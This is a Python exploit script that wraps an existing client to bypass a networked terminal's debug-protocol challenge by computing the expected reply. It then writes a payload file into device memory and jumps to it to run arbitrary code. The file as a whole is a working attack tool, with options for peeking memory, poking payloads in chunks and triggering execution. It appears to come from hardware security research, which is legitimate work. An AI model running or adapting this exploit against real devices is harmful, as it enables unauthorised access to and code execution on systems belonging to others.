#!/usr/bin/env python3
"""End-to-end dwt_prf exploit over TCP: answer the challenge with computed
bytes (no debugger, no forced comparison), then poke and run a payload.

This wraps dwt/exploit.py's client; it does not modify it.  The only change is
that ``answer_challenge`` computes the reply with dwt/challenge.py from the
challenge the terminal just sent, instead of echoing it.

    python3 dwt/solve.py --host 192.168.99.2 \
        --poke-file 0x01800000 --file harness/hello-world/payload.bin \
        --jump 0x01800000

With no arguments it runs the liveness opcode and prints the challenge/reply.
"""
from __future__ import annotations

import argparse
import os
import sys
import time

HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, HERE)

import challenge  # noqa: E402
import exploit    # noqa: E402

# --- the whole bypass: compute the answer from the challenge ----------------
_orig_answer = exploit.RDebug.answer_challenge


def _answer(self, challenge_bytes: bytes) -> None:
    self.challenge_raw = challenge.respond(challenge_bytes)
    print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
    print(f"[+] reply     {self.challenge_raw.hex(' ')}", flush=True)
    print(f"[+] reply satisfies firmware comparison: "
          f"{challenge.check_reply(challenge_bytes, self.challenge_raw)}",
          flush=True)
    return _orig_answer(self, challenge_bytes)


exploit.RDebug.answer_challenge = _answer


def main(argv: list[str]) -> int:
    ap = argparse.ArgumentParser(description=__doc__,
                                 formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("--host", default="192.168.99.2")
    ap.add_argument("--port", type=int, default=771)
    ap.add_argument("--timeout", type=float, default=8.0)
    ap.add_argument("--verbose", action="store_true")
    ap.add_argument("--liveness", type=int, default=7)
    ap.add_argument("--poke-file", type=exploit.parse_int)
    ap.add_argument("--file")
    ap.add_argument("--poke-chunk", type=int, default=exploit.MAX_XFER)
    ap.add_argument("--jump", type=exploit.parse_int)
    ap.add_argument("--arg", type=exploit.parse_int, action="append", default=[])
    ap.add_argument("--peek", type=exploit.parse_int)
    ap.add_argument("--len", type=int, default=8)
    ap.add_argument("--settle", type=float, default=2.0,
                    help="seconds to wait after jump so the payload can run")
    a = ap.parse_args(argv[1:])

    rd = exploit.RDebug(a.host, a.port, a.timeout, a.verbose)
    try:
        rd.connect()
        flag, payload = rd.liveness(a.liveness)
        print(f"opcode {a.liveness} -> flag={flag:#04x} payload={payload.hex(' ')}"
              f" ({payload!r})")
        if rd.challenge_raw is None:
            print("error: no challenge was seen", file=sys.stderr)
            return 2
        if a.peek is not None:
            print(f"peek {a.peek:#010x} ({a.len}) -> "
                  f"{rd.peek(a.peek, a.len).hex(' ')}")
        if a.poke_file is not None:
            if not a.file:
                print("error: --poke-file needs --file", file=sys.stderr)
                return 2
            data = open(a.file, "rb").read()
            off = 0
            while off < len(data):
                chunk = data[off:off + a.poke_chunk]
                rd.poke(a.poke_file + off * 8, chunk)
                off += len(chunk)
            print(f"poke-file {a.file}: {len(data)} bytes at "
                  f"{a.poke_file:#010x}: ok")
        if a.jump is not None:
            rd.jump(a.jump, a.arg, wait=False)
            print(f"jump {a.jump:#010x}: sent")
            time.sleep(a.settle)
        return 0
    except (OSError, exploit.ProtocolError, ValueError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2
    finally:
        rd.close()


if __name__ == "__main__":
    raise SystemExit(main(sys.argv))